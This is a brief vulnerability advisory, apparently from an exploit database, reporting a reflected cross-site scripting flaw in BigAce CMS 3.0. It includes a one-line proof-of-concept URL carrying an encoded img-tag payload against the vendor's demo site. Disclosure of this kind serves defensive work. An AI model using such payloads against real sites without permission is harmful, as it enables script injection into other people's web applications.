BigAce CMS 3.0 Cross Site Scripting

2015.05.07
Credit: provensec
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Affected software: bigace cmc # Type of vulnerability:cross site scripting # URL:http://demo.bigace.de/ # Discovered by: provensec # Website: provensec.com #version: 3.0 # Proof of concept http://site/xsspayload demo:http://demo.bigace.de/%22%3E%3Cimg%20src=d%20onclick=confirm%281%29;%3E


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top